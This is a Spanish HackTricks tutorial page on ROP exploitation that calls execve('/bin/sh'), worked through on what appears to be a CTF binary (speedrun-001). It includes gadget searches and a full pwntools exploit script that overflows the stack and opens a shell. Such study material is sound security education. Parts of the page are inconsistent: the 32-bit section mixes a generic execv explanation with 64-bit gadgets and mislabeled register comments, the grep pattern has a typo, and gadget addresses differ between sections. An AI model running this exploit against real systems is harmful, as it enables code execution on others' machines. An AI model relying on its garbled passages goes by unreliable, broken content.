hacktricks/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md
2023-06-03 01:46:23 +00:00

10 KiB

ROP - llamar a sys_execve

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Para preparar la llamada al syscall se necesita la siguiente configuración:

  • rax: 59 Especifica sys_execve
  • rdi: ptr a "/bin/sh" especifica el archivo a ejecutar
  • rsi: 0 especifica que no se pasan argumentos
  • rdx: 0 especifica que no se pasan variables de entorno

Por lo tanto, básicamente se necesita escribir la cadena /bin/sh en algún lugar y luego realizar la syscall (siendo consciente del relleno necesario para controlar la pila).

Controlar los registros

Comencemos encontrando cómo controlar esos registros:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Con estas direcciones es posible escribir el contenido en la pila y cargarlo en los registros.

Escribir cadena

Memoria escribible

Primero necesitas encontrar un lugar escribible en la memoria.

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Escribir una cadena

Luego necesitas encontrar una forma de escribir contenido arbitrario en esta dirección.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

32 bits

En esta sección, se explicará cómo ejecutar una llamada al sistema execv utilizando ROP en una arquitectura de 32 bits.

La llamada al sistema execv se utiliza para ejecutar un programa en un proceso existente. Toma dos argumentos: el primero es el nombre del archivo ejecutable y el segundo es una matriz de argumentos que se pasan al programa.

Para ejecutar esta llamada al sistema utilizando ROP, necesitamos encontrar las direcciones de memoria de las siguientes funciones:

  • execv
  • exit
  • /bin/sh

Una vez que tengamos estas direcciones, podemos construir nuestra cadena ROP. La cadena ROP debe tener el siguiente formato:

[padding] + [execv address] + [exit address] + ["/bin/sh" address] + [argumentos] + [null]

El padding se utiliza para llenar el espacio entre el final de la cadena ROP y el inicio de la pila. Los argumentos son una cadena de argumentos separados por null. El último null se utiliza para indicar el final de la matriz de argumentos.

Una vez que tengamos nuestra cadena ROP, podemos sobrescribir la dirección de retorno de la función vulnerable con la dirección de la primera instrucción de nuestra cadena ROP. Esto hará que la función vulnerable salte a nuestra cadena ROP en lugar de volver a la dirección de retorno original.

Una vez que se ejecute nuestra cadena ROP, se llamará a la función execv con los argumentos que proporcionamos. Esto ejecutará el programa especificado en el primer argumento con los argumentos adicionales especificados en la matriz de argumentos.

En resumen, para ejecutar una llamada al sistema execv utilizando ROP en una arquitectura de 32 bits, necesitamos encontrar las direcciones de memoria de execv, exit y /bin/sh, construir una cadena ROP con el formato adecuado y sobrescribir la dirección de retorno de la función vulnerable con la dirección de la primera instrucción de nuestra cadena ROP.

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

En sistemas de 64 bits, los registros son más grandes, por lo que necesitamos más gadgets para construir nuestra cadena ROP. Además, los argumentos se pasan en diferentes registros. En Linux, los primeros seis argumentos se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9, respectivamente. Si hay más argumentos, se pasan en la pila.

Para llamar a una syscall en sistemas de 64 bits, primero debemos mover el número de la syscall al registro RAX y luego llamar a la instrucción syscall. Los argumentos se pasan en los registros mencionados anteriormente. Por ejemplo, para llamar a la syscall execve("/bin/sh", NULL, NULL), necesitamos los siguientes gadgets:

pop rdi; ret
pop rsi; ret
pop rdx; ret
mov eax, 0x3b; ret
syscall

Aquí, el primer gadget saca el valor de /bin/sh de la pila y lo mueve al registro RDI. El segundo gadget saca el valor NULL de la pila y lo mueve al registro RSI. El tercer gadget saca otro valor NULL de la pila y lo mueve al registro RDX. El cuarto gadget mueve el número de la syscall execve al registro RAX. Finalmente, la instrucción syscall llama a la syscall con los argumentos pasados en los registros correspondientes.

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Ejemplo

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive() 

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥